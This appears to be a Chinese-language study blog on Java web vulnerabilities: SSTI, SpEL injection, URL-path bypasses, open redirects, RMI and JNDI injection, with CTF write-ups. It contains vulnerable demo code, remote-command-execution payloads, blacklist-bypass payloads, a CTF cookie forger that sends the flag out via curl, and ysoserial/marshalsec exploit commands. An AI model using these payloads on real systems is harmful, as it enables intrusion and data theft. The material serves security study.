import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.apache.velocity.app.Velocity;
import java.io.StringWriter;
@RestController
@RequestMapping("/ssti")
public class SSTI {
/**
* SSTI of Java velocity. The latest Velocity version still has this problem.
* Fix method: Avoid to use Velocity.evaluate method.
* <p>
* http://localhost:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20Calculator%22)
* Open a calculator in MacOS.
*
* @param template exp
*/
@GetMapping("/velocity")
public void velocity(String template) {
Velocity.init();
VelocityContext context = new VelocityContext();
context.put("author", "Elliot A.");
context.put("address", "217 E Broadway");
context.put("phone", "555-1337");
StringWriter swOut = new StringWriter();
Velocity.evaluate(context, swOut, "test", template);
}
}
此处是一个Velocity的ssti。payload是#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl xxxx")
可以看出渲染的语句是#
开头后接一个反射构造的命令执行payload.$e
为字符串。因此后面就是从java.lang.String
对象开始获取类,方法,执行命令。
这点上从某种角度与SpEL非常相似。当然后面做SpEL注入时再细讲。这里分享一个之前在SharkyCTF中遇到的Thymeleaf ssti。因为当时题目后端把各种命令执行都hook了,自己一直没能成功执行命令,虽然实际上不需要命令执行就能做,但是查资料的过程中也有了新的收获。
https://ctftime.org/task/11563
这题因为使用了Thymeleaf.加上我在使用[[${7*7}]]
时返回了49。所以我认为是使用了Thymeleaf
来进行渲染的。(Thymeleaf是通过两个中括号取值的)可惜题目底层hook的非常严,没能RCE。读文件的payload[[${ new java.io.BufferReader(new java.io.FileReader("/etc/passwd")).readLine()}]]
都做不到。比赛结束后才发现要猜flag这个class的存在的,比较无语。但是从中我们也可以看出,java ssti其实就是判断出对应引擎后用接近于SpEL的思路来进行利用。否则就是利用题目环境中的class读取变量.
比赛中当时参考了这篇文章https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/
其实仔细想想怎么看都是SpEL的意思……所以相关技巧还是留到下一篇SpEL讲吧。
SpEL
vuln code
package org.joychou.controller;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
/**
* SpEL Injection
*
* @author JoyChou @2019-01-17
*/
@RestController
public class SpEL {
/**
* SPEL to RCE
* http://localhost:8080/spel/vul/?expression=xxx.
* xxx is urlencode(exp)
* exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
*/
@GetMapping("/spel/vuln")
public String rce(String expression) {
ExpressionParser parser = new SpelExpressionParser();
// fix method: SimpleEvaluationContext
return parser.parseExpression(expression).getValue().toString();
}
public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();
String expression = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")";
String result = parser.parseExpression(expression).getValue().toString();
System.out.println(result);
}
}
首先,SpEL表达式注入漏洞 是EL(expression language)的一种。之所以叫SpEL是因为它是应用在Spring框架中的。不过只要掌握了SpEL的相关知识,想必其他的表达式注入漏洞也能收手到擒来吧。
SpEL有许多特性:
- 使用Bean的ID来引用Bean
- 可调用方法和访问对象的属性
- 可对值进行算数、关系和逻辑运算
- 可使用正则表达式进行匹配
- 可进行集合操作
因此我认为上面一类java的ssti利用本质上还是在定界符中进行了表达式运算,所以了解表达式注入也就成为了重中之重。
首先是语法知识
- SpEL支持的定界符
#{}
引用其他对象:#{car}
引用其他对象的属性:#{car.brand}
调用其它方法 , 还可以链式操作:#{car.toString()}
属性名称还可以使用${xxxx}
此外还有一种使用T运算符,调用类作用域方法和常量#{T(java.lang.Math)}
返回一个java.lang.Math对象
一般来说我们会把SpEL用在xml配置或者注解的使用中,这应该是是为了其动态性。除此之外就是直接用在代码块中进行expression.
导致SpEL注入的原因如下:
SimpleEvaluationContext和StandardEvaluationContext是SpEL提供的两个EvaluationContext:
SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。
此处javasec的SpEL命令执行理论上只要使用
T(java.lang.Runtime).getRuntime().exec("curl xxx")
即可。不过这里执行时总是不成功,有点迷。但是没有关系,毕竟无论比赛还是实战都不可能碰上没有waf的SpEL。这里干脆直接找其他的几个例子来试试
(其实懒得本地建个maven项目了,我自己爬)
- code-breaking javacon
年初的题一直留到现在…就是为了学SpEL的这一天。
题目的源码jar下好后。老样子扔进lib里直接审计
结构:
在配置application.xml中有这样的黑名单
spring:
thymeleaf:
encoding: UTF-8
cache: false
mode: HTML
keywords:
blacklist:
- java.+lang
- Runtime
- exec.*\(
user:
username: admin
password: admin
rememberMeKey: c0dehack1nghere1
显然是限制了Runtime.exec的命令执行。但是实际上这个waf真的非常友好了…
再来看主体源码
package io.tricking.challenge;
import io.tricking.challenge.spel.SmallEvaluationContext;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.ParserContext;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.http.HttpStatus;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.CookieValue;
import org.springframework.web.bind.annotation.ExceptionHandler;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.web.client.HttpClientErrorException;
@Controller
public class MainController {
ExpressionParser parser = new SpelExpressionParser();
@Autowired
private KeyworkProperties keyworkProperties;
@Autowired
private UserConfig userConfig;
public MainController() {
}
@GetMapping
public String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) {
if (rememberMeValue != null && !rememberMeValue.equals("")) {
String username = this.userConfig.decryptRememberMe(rememberMeValue);
if (username != null) {
session.setAttribute("username", username);
}
}
Object username = session.getAttribute("username");
if (username != null && !username.toString().equals("")) {
model.addAttribute("name", this.getAdvanceValue(username.toString()));
return "hello";
} else {
return "redirect:/login";
}
}
@GetMapping({"/login"})
public String login() {
return "login";
}
@GetMapping({"/login-error"})
public String loginError(Model model) {
model.addAttribute("loginError", true);
model.addAttribute("errorMsg", "登陆失败,用户名或者密码错误!");
return "login";
}
@PostMapping({"/login"})
public String login(@RequestParam(value = "username",required = true) String username, @RequestParam(value = "password",required = true) String password, @RequestParam(value = "remember-me",required = false) String isRemember, HttpSession session, HttpServletResponse response) {
if (this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) {
session.setAttribute("username", username);
if (isRemember != null && !isRemember.equals("")) {
Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
c.setMaxAge(2592000);
response.addCookie(c);
}
return "redirect:/";
} else {
return "redirect:/login-error";
}
}
@ExceptionHandler({HttpClientErrorException.class})
@ResponseStatus(HttpStatus.FORBIDDEN)
public String handleForbiddenException() {
return "forbidden";
}
private String getAdvanceValue(String val) {
String[] var2 = this.keyworkProperties.getBlacklist();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
String keyword = var2[var4];
Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
if (matcher.find()) {
throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
}
}
ParserContext parserContext = new TemplateParserContext();
Expression exp = this.parser.parseExpression(val, parserContext);
SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
return exp.getValue(evaluationContext).toString();
}
}
流程非常简单。getAdvanceValue是一个解密+检查黑名单+调用spel的方法。而我们在登录后程序会从rememberme的cookie处对表达式进行计算。
注意到加密方式源码
public String encryptRememberMe() {
String encryptd = Encryptor.encrypt(this.rememberMeKey, "0123456789abcdef", this.username);
return encryptd;
}
rememberMeKey我们是知道的,所以就可以生成对应的cookiepayload了。
#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"curl xxxx\"})}
这里使用的方法是通过字符串拼接来绕过关键字过滤的问题。并且本质上还是使用的反射作为基础payload.
生成cookie的代码
public class spel {
public static void main(String[] args) {
System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"curl xxxxx/`cat /fla*`\"})}"));
}
}
收下flag.
由于还有很多CVE也是SpEL相关,所以我们可以利用相似的思路构造payload.比如用javascript引擎跟ProcessBuilder
//反射 ScriptEngineManager类。获取eval.
#{T(String).getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.la"+"ng.Run"+"time.getRun"+"time().ex"+"ec('calc.exe')")}
//反射 ProcessBuilder,进行命令执行
#{(T(String).getClass().forName("java.la"+"ng.ProcessBuilder").getConstructor('foo'.split('').getClass()).newInstance(new String[]{'calc.exe'})).start()}
然后就是之前见过的用到数组绕过的方法构造的Nuxeo rce的payload。用于byoass getclass
#{''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc.exe')}
不过这个payload好像测试时就没成功过。
然后还有一种bypass引号的方法
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
即利用T运算符获取到Charactor再用toString来得到字符。
- De1CTF calc
上面的都是命令执行payload。然而实际上如果遇到De1这道题,openrasp把底层的命令执行都hook的情况,就只能从别的思路下手了。(虽然dalao还是RCE了,太强了)
题目的过滤大致如下
ProcessBuilder
java.lang
getClass
Runtime
new
T(
#
先是这层过滤,然后才是openrasp的保护。
这道题首先如果利用spel不区分关键字大小写的特性,可以直接忽视new
被过滤的情况读文件
New java.io.BufferedReader(New java.io.FileReader("/flag")).readLine()
不过师傅对于这些关键字的绕过也有其他的办法
https://landgrey.me/blog/15/
比如前面的getClass(),除了用数组绕过,还可以用''.class.getSuperclass().class
获取到
除此以外,还FUZZ出了T%00(
可以绕过T(
的waf的手段。(这是底层源码的问题,膜)
至于dalao达成RCE的思路,我觉得也非常值得学习。因为我们想要读文件或者执行命令的话,必然是要创建一个实例的。而SpEL提供了T()用来指定一个实例,这是一种思路。除此以外就是使用java代码来实例化。除了new以外,像反序列化这种方式也是可以创建实例的。所以使用T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0AB...'))
这种静态方法完全可以。
除此之外就是要把恶意代码写在默认的类构造器中,就不需要显示的实例化类,也能执行代码了。
如果以后遇到对应的问题一定会去仔细研究下。
url security issues
今天来就几个url的问题稍微研究下。
- GetRequestURI
GetRequestURI.java
package org.joychou.controller;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.util.AntPathMatcher;
import org.springframework.util.PathMatcher;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
/**
* The difference between getRequestURI and getServletPath.
* 由于Spring Security的<code>antMatchers("/css/**", "/js/**")</code>未使用getRequestURI,所以登录不会被绕过。
* <p>
* Details: https://joychou.org/web/security-of-getRequestURI.html
* <p>
* Poc:
* http://localhost:8080/css/%2e%2e/exclued/vuln
* http://localhost:8080/css/..;/exclued/vuln
* http://localhost:8080/css/..;bypasswaf/exclued/vuln
*
* @author JoyChou @2020-03-28
*/
@RestController
@RequestMapping("uri")
public class GetRequestURI {
private final Logger logger = LoggerFactory.getLogger(this.getClass());
@GetMapping(value = "/exclued/vuln")
public String exclued(HttpServletRequest request) {
String[] excluedPath = {"/css/**", "/js/**"};
String uri = request.getRequestURI(); // Security: request.getServletPath()
PathMatcher matcher = new AntPathMatcher();
logger.info("getRequestURI: " + uri);
logger.info("getServletPath: " + request.getServletPath());
for (String path : excluedPath) {
if (matcher.match(path, uri)) {
return "You have bypassed the login page.";
}
}
return "This is a login page >..<";
}
}
geteRequestURI实际上是HttpServletRequest中几个解析URL的函数中的一种。它会返回除去Host(域名或IP)部分的路径。这里我们本地来起个项目跑一下。
按照Mi1k7ea博客中的jsp替换index.jsp (https://xz.aliyun.com/t/7544)
<%
out.println("getRequestURL(): " + request.getRequestURL() + "<br>");
out.println("getRequestURI(): " + request.getRequestURI() + "<br>");
out.println("getContextPath(): " + request.getContextPath() + "<br>");
out.println("getServletPath(): " + request.getServletPath() + "<br>");
out.println("getPathInfo(): " + request.getPathInfo() + "<br>");
%>
起一个tomcat的话,要在Run=>EditConfiguration 左边+号添加一个local tomcat server。并将项目路径配置好。我这里配置的根目录是java_sec_web.
接着来实验。一下几种形式的访问都可以访问到index.jsp
http://localhost:8080/java_sec_web/index.jsp
http://localhost:8080/java_sec_web/./././././index.jsp
http://localhost:8080/java_sec_web/totally_not_matter/../index.jsp
特别的,使用;a/;bb/;ccc/index.jsp
也可以访问到。
从这里我们就能发现。使用getRequestURI似乎就是直接返回我们请求路径host后面的部分。实际上底层源码也确实是这么写的。既然如此就可以导致某些利用urlbypass的攻击。
比如说,/java_sec_web/info
路径下存在一个secret.jsp它通过如下代码来限制没有权限的人访问
HttpServletRequest httpServletRequest = (HttpServletRequest)servletRequest;
HttpServletResponse httpServletResponse =(HttpServletResponse)servletResponse;
String url = httpServletRequest.getRequestURI();
if (url.startsWith("/urltest/info")) {
httpServletResponse.getWriter().write("No Permission.");
return;
}
但是如下路径则可以轻松bypass
http://localhost:8080/java_sec_web/./info/secret.jsp
http://localhost:8080/java_sec_web/;233333/info/secret.jsp
http://localhost:8080/java_sec_web/32112323/../info/secret.jsp
回到项目上来。我们就可以用同样的道理进行权限绕过了。这里给出的path是css与js这样的静态目录。String[] excluedPath = {"/css/**", "/js/**"};
我们同样可以通过几种方式访问。
所以安全的解决方案通常是使用getPathInfo()
或者getServletPath()
来替换getRequestURI()
今年的一个shiroCVE就是这个成因。因为拦截器写的时候拦截了/abc/*
这样的正则。而使用/abc/1/
时,shiro的拦截器没有拦截到。但是getRequestURI却让我们正常访问到了。导致了权限绕过。
- url解析
跟学习ssrf时里面出现的bypass url host限制是一个类型。因为有现成的解释就不多作说明了https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass
基本上还是通过#
,;
等等来进行urlbypass绕过gethost。
- 302调转
package org.joychou.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.RequestDispatcher;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import org.joychou.security.SecurityUtil;
/**
* The vulnerability code and security code of Java url redirect.
* The security code is checking whitelist of url redirect.
*
* @author JoyChou (joychou@joychou.org)
* @version 2017.12.28
*/
@Controller
@RequestMapping("/urlRedirect")
public class URLRedirect {
/**
* http://localhost:8080/urlRedirect/redirect?url=http://www.baidu.com
*/
@GetMapping("/redirect")
public String redirect(@RequestParam("url") String url) {
return "redirect:" + url;
}
/**
* http://localhost:8080/urlRedirect/setHeader?url=http://www.baidu.com
*/
@RequestMapping("/setHeader")
@ResponseBody
public static void setHeader(HttpServletRequest request, HttpServletResponse response) {
String url = request.getParameter("url");
response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY); // 301 redirect
response.setHeader("Location", url);
}
/**
* http://localhost:8080/urlRedirect/sendRedirect?url=http://www.baidu.com
*/
@RequestMapping("/sendRedirect")
@ResponseBody
public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException {
String url = request.getParameter("url");
response.sendRedirect(url); // 302 redirect
}
/**
* Safe code. Because it can only jump according to the path, it cannot jump according to other urls.
* http://localhost:8080/urlRedirect/forward?url=/urlRedirect/test
*/
@RequestMapping("/forward")
@ResponseBody
public static void forward(HttpServletRequest request, HttpServletResponse response) {
String url = request.getParameter("url");
RequestDispatcher rd = request.getRequestDispatcher(url);
try {
rd.forward(request, response);
} catch (Exception e) {
e.printStackTrace();
}
}
/**
* Safe code of sendRedirect.
* http://localhost:8080/urlRedirect/sendRedirect/sec?url=http://www.baidu.com
*/
@RequestMapping("/sendRedirect/sec")
@ResponseBody
public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response)
throws IOException {
String url = request.getParameter("url");
if (SecurityUtil.checkURL(url) == null) {
response.setStatus(HttpServletResponse.SC_FORBIDDEN);
response.getWriter().write("url forbidden");
return;
}
response.sendRedirect(url);
}
}
这一部分更多是安全编程的问题。如果重定向出现问题就很有可能会与xss等漏洞联系起来。此处恶意代码中,任意url都可以通过setHeader
,sendRedirect
导致重定向。限制方法则如最后两个解决措施,限制只能在path间调转或者直接写好SecurityUtil
来限制调转的url.
java-rmi
最早接触到rmi是在复现vulhub上fastjson漏洞时学到的,使用jndi注入时用到rmi://
或jndi://
。现在来学习下rmi的具体使用,
RMI(Remote Method Invocation)即远程方法调用,是分布式编程中的一个基本思想。
Java RMI是专为Java环境设计的远程方法调用机制,是一种用于实现远程调用(RPC,Remote Procedure Call)的Java API,能直接传输序列化后的Java对象和分布式垃圾收集。它的实现依赖于JVM,因此它支持从一个JVM到另一个JVM的调用。
在Java RMI中,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法,其中对象是通过序列化方式进行编码传输的。
- design-pattern
设计模式包含三个部分:
1.Registry。Server端向Registry注册服务,Client端从Registry获取远程对象的一些信息并进行调用。
2.Server 提供远程方法
3.Client 使用远程方法
- interaction
1.首先,启动RMI Registry服务,启动时可以指定服务监听的端口,也可以使用默认的端口(1099)
2.其次,Server端在本地先实例化一个提供服务的实现类,然后通过RMI提供的Naming/Context/Registry等类的bind或rebind方法将刚才实例化好的实现类注册到RMI Registry上并对外暴露一个名称
3.最后,Client端通过本地的接口和一个已知的名称(即RMI Registry暴露出的名称),使用RMI提供的Naming/Context/Registry等类的lookup方法从RMI Service那拿到实现类。这样虽然本地没有这个类的实现类,但所有的方法都在接口里了,便可以实现远程调用对象的方法
- dynamic class loading
一个非常重要的点。rmi支持我们在没有某个类定义时前去下载远程类。这也是jndi与反序列化应用的主要手段。动态加载的对象class文件可以使用Web服务的方式进行托管。这可以动态的扩展远程应用的功能,RMI注册表上可以动态的加载绑定多个RMI应用。客户端使用了与RMI注册表相同的机制。RMI服务端将URL传递给客户端,客户端通过HTTP请求下载这些类。同样实现了动态加载。
- coding
下面来写个demo。还是按照mi1k7ea师傅的实例写法写下。
服务端远程调用的类Identity
import java.io.Serializable;
public class Identity implements Serializable{
private int id;
private String name;
private int age;
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
因为顾及到开发习惯,所以成员变量都是私有的。自然调用时也要有对应的setter,getter方法。idea支持直接alt+enter添加选中属性的setter和getter方法。
然后是一个远程接口,ServiceImpl.class
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface Service extends Remote{
public List<Identity> GetList() throws RemoteException;
}
远程接口必须继承java.rmi.Remote接口,且抛出RemoteException错误
然后是接口的实现类
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.LinkedList;
import java.util.List;
public class ServiceImpl extends UnicastRemoteObject implements Service{
public ServiceImpl() throws RemoteException {
super();
}
@Override
public List<Identity> GetList() throws RemoteException {
System.out.println("Get Identity Start!");
List<Identity> personlist =new LinkedList<Identity>();
Identity person1 = new Identity();
person1.setId(0);
person1.setName("byc");
person1.setAge(20);
personlist.add(person1);
Identity person2 = new Identity();
person2.setId(1);
person2.setName("Joe");
person2.setAge(18);
personlist.add(person2);
return personlist;
}
}
注意这里构造方法也要throw RemoteException.然后类建完后开始会报错说我们没有实现GetList()方法。这里直接点到报错的位置,它会自动提供我们一个重写的GetList()方法
下面是一个把Server和Registry的创建、对象绑定注册表写到一块的Program代码
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class Program {
public static void main(String[] args) {
try {
Service personService =new ServiceImpl();
LocateRegistry.createRegistry(6666);
Naming.rebind("rmi://127.0.0.1:6666/PersonService", personService);
System.out.println("Service Start!");
} catch (Exception e ) {
e.printStackTrace();
}
}
}
客户端通过Naming.lookup()来查找RMI Server端的远程对象并获取到本地客户端环境中输出出来
import java.rmi.Naming;
import java.util.List;
public class Client {
public static void main(String[] args) {
try {
Service personService =(Service) Naming.lookup("rmi://127.0.0.1:6666/PersonService");
List<Identity> personList=personService.GetList();
for(Identity person:personList){
System.out.println("ID:"+person.getId()+" Age:"+person.getAge()+" Name:"+person.getName());
}
} catch (Exception ex){
ex.printStackTrace();
}
}
}
同样是使用ctrl+alt+t添加try catch语句环绕中间rmi部分语句。
先启动rmiserver.然后客户端调用方法。
几个函数的使用
bind(String name, Object obj):注册对象,把对象和一个名字name绑定
rebind(String name, Object obj):注册对象,把对象和一个名字name绑定。如果改名字已经与其他对象绑定,不会抛出NameAlreadyBoundException错误,而是把当前参数obj指定的对象覆盖原先的对象
//前者则会抛出NameAlreadyBoundException错误
lookup(String name):查找对象,返回与参数name指定的名字所绑定的对象;
- exploit
Java 1.8.121版本以下
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit target_ip 1099 CommonsCollections1 "curl xxxx"
Java 1.8.121版本及以上:
重写个class,扔到ysoserial里重新编译https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI
这样相当于加了个利用类。然后继续打就行了
发现vulhub原来有javarmi的两个镜像。自己仓库太久没更新导致疏忽了。
我们来看看jdk高版本时做出的改变
if (String.class == clazz
|| java.lang.Number.class.isAssignableFrom(clazz)
|| Remote.class.isAssignableFrom(clazz)
|| java.lang.reflect.Proxy.class.isAssignableFrom(clazz)
|| UnicastRef.class.isAssignableFrom(clazz)
|| RMIClientSocketFactory.class.isAssignableFrom(clazz)
|| RMIServerSocketFactory.class.isAssignableFrom(clazz)
|| java.rmi.activation.ActivationID.class.isAssignableFrom(clazz)
|| java.rmi.server.UID.class.isAssignableFrom(clazz)) {
return ObjectInputFilter.Status.ALLOWED;
} else {
return ObjectInputFilter.Status.REJECTED;
}
所以利用时是通过白名单里可利用的类来进行反序列化。
因为rmi在其他洞里出现的频率也很高。所以学习到其他漏洞时也会提及。
jndi注入
jndi注入的使用在shiro与fastjson的反序列化复现中都曾经使用过。想要真正理解这几种漏洞的脉络,还是得先把jndi的相关知识学懂。
- jndi
JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。
JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等
所以说jndi的作用主要在于”定位”。比如定位rmi中注册的对象,访问ldap的目录服务等等。
- demo
其使用与rmi很类似
bind:将名称绑定到对象中;
lookup:通过名字检索执行的对象
下面是写的demo
import java.io.Serializable;
import java.rmi.Remote;
public class Identity implements Remote,Serializable{
private int id;
private String name;
private int age;
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String toString(){
return "id: "+id+" name: "+name+" age: "+age;
}
}
与上面rmi的Identity类不同的是,这里我们必须让它继承java.rmi.Remote类.否则会抛出错误。同时加上一个toString()
方法方便我们获取并打印对象的属性。
一个服务端+客户端的整合代码。先用jndi的bind将Identity对象绑定在rmi服务中。然后再lookup检索对象输出。
JndiServer
import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
public class JndiServer {
public static void initIdentity() throws Exception{
LocateRegistry.createRegistry(6666);
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");
InitialContext ctx = new InitialContext();
Identity a= new Identity();
a.setId(0);
a.setAge(20);
a.setName("byc_404");
ctx.bind("person",a);
ctx.close();
}
public static void getIdentity() throws Exception{
InitialContext ctx = new InitialContext();
Identity person = (Identity) ctx.lookup("person");
System.out.println(person.toString());
ctx.close();
}
public static void main(String[] args) throws Exception{
initIdentity();
getIdentity();
}
}
注意我们需要先行设置jndi工厂的url及端口等等属性。
- traits of jndi
jndi存在安全管理器.对于加载远程对象,JDNI有两种不同的安全控制方式,对于Naming Manager来说,相对的安全管理器的规则比较宽泛,但是对JNDI SPI层会按照下面表格中的规则进行控制:
可以看到ldap对应的安全措施并非强制的。这点非常有意思。进而延伸到我们下面的一个特点
jndi在初始化时,一定要像demo中那样配置上下文环境。
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,"rmi://localhost:1099");
Context ctx = new InitialContext(env);
LocateRegistry.createRegistry(6666);
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");
InitialContext ctx = new InitialContext();
上面两种方式都可以指定上下文。但是当我们使用lookup()寻找对象时,我们可以用其他格式的协议来转换上下文环境访问对象。具体可以跟到InitialContext类的getURLOrDefaultInitCtx
protected Context getURLOrDefaultInitCtx(String name)
throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
String scheme = getURLScheme(name);
if (scheme != null) {
Context ctx = NamingManager.getURLContext(scheme, myProps);
if (ctx != null) {
return ctx;
}
}
return getDefaultInitCtx();
}
可以看到如果协议不为空,会重新获取url中指定的环境。
所以可以传递ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");
这样的url来进行lookup.(幸好之前做htb好好学了下ldap……).这就是jndi的动态协议转换特性。
- jndi injection
终于到我们攻击的重头戏jndi注入了。不过在正式开始前我们还需要了解下Reference类的使用
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等
几个比较关键的属性:
1.className:远程加载时所使用的类名
2.classFactory:加载的class中需要实例化类的名称
3.classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议
所以我们开始jndi注入时,就可以使用到Reference类的功能了。jndi中对象的传递可以使用序列化也可以使用引用。那么假如我们能将恶意的Reference类绑定在RMI注册表中,并试其引用指向恶意class.就能达成命令执行。(前提:当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时)
复现的话因为我本地java版本的问题导致不能用基础的jndi注入payload打。不过之前我复现过fastjson的洞。用的就是rmi的服务
方法,对应jdk1.8以下的,直接用rmi做
JndiClient
import javax.naming.Context;
import javax.naming.InitialContext;
public class JndiClient {
public static void main(String[] args) throws Exception{
String uri = "rmi://127.0.0.1:1099/aa";//可控
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
用marshalsec起一个rmi服务java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://localhost:8000/#Evil
准备的Evil.java javac Evil.java
编译好.并起一个python web服务监听在对应的端口
public class Evil {
public Evil() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch","/tmp/a"};
Process pc = rt.exec(commands);
pc.waitFor();
}
}
不过我因为版本问题所以都失败了。可以看到其抛出的com.sun.jndi.rmi.object.trustURLCodebase错误。
这也就是为什么上面提到说ldap。LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。但在JDK 8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制。
我们换用ldap的命令试试
CLIENT.java
import javax.naming.Context;
